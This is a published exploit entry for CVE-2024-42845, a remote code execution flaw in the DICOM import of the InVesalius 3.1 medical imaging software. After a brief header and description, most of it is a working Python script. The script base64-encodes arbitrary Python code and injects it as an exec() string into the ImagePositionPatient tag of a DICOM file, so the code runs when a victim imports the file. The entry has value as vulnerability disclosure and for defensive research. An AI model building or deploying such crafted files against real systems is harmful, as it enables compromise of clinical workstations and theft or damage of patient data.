Invesalius3 - Remote Code Execution

# Exploit Title: Invesalius 3.1 - Remote Code Execution (RCE)
# Discovered By: Alessio Romano (sfoffo), Riccardo Degli Esposti (partywave)
# Exploit Author: Alessio Romano (sfoffo), Riccardo Degli Esposti
#(partywave)
# Date: 23/08/2024
# Vendor Homepage: https://invesalius.github.io/
# Software Link:
#https://github.com/invesalius/invesalius3/tree/master/invesalius
# Version: 3.1.99991 to 3.1.99998
# Tested on: Windows
# CVE: CVE-2024-42845
# External References:
#https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-42845,
#https://github.com/partywavesec/invesalius3_vulnerabilities/tree/main/CVE-2024-42845,
#https://www.partywave.site/show/research/Tic%20TAC%20-%20Beware%20of%20your%20scan

# Description:
#----------------
#
#A Remote Code Execution (RCE) vulnerability exists in the DICOM file import
#procedure in Invesalius3. This vulnerability afflicts all versions from
#3.1.99991 to 3.1.99998. The exploitation steps of this vulnerability
#involve the use of a crafted DICOM file which, once imported inside the
#victim's client application allows an attacker to gain remote code
#execution over the victim's machine.

# Script:
#----------------
#
###
# The script below creates a specifically crafted DICOM payload for
#CVE-2024-42845. Remote Code Execution is gained once the DICOM file is
#imported inside the victim's client application.
###
import pydicom
import base64
import argparse

pydicom.config.settings.reading_validation_mode = pydicom.config.IGNORE


def encode_payload(plain_payload):
    data = open(plain_payload, 'rb').read()
    return f"exec(__import__('base64').b64decode({base64.b64encode(data)})"

def prepare_dicom_payload(dicom_file_path, payload):
    try:
        dicom_data = pydicom.dcmread(dicom_file_path)

        values = dicom_data[0x0020, 0x0032].value
        mal = [str(i) for i in values]
        mal.append(encode_payload(payload))
        
    except pydicom.errors.InvalidDicomError:
        print("The file is not a valid DICOM file.")
    except Exception as e:
        print(f"An error occurred: {e}")
    
    return mal


def modify_dicom_field(dicom_file_path, malicious_tag, outfile, sign):
    try:
        dicom_dataset = pydicom.dcmread(dicom_file_path)
        if sign:
            dicom_dataset.Manufacturer = "Malicious DICOM file creator"
            dicom_dataset.InstitutionName = "Malicious DICOM file institution"
        elem =  pydicom.dataelem.DataElement(0x00200032, 'CS', malicious_tag)
        dicom_dataset[0x00200032] = elem
        print(dicom_dataset)
        dicom_dataset.save_as(outfile)
    except Exception as e:
        print(f"An error occurred: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Read a DICOM file.')
    parser.add_argument('--dicom', required=True, help='Path to the input DICOM file')
    parser.add_argument('--outfile', required=True, help='Path to the output DICOM file')
    parser.add_argument('--payload', required=False, default=b"print('Test')", help='File that contains the malicious plain python3 code')
    parser.add_argument('--signature', required=False, default=True)
    
    args = parser.parse_args()
    dicom_infile_path = args.dicom
    dicom_outfile_path = args.outfile
    print(args.signature)
    
    tmp_tag = prepare_dicom_payload(dicom_infile_path, payload=args.payload)
    if tmp_tag:
        malicious_tag = '\\'.join(tmp_tag)

        modify_dicom_field(dicom_infile_path, malicious_tag, dicom_outfile_path, sign=args.signature)
        exit(0)
    else:
        exit(1)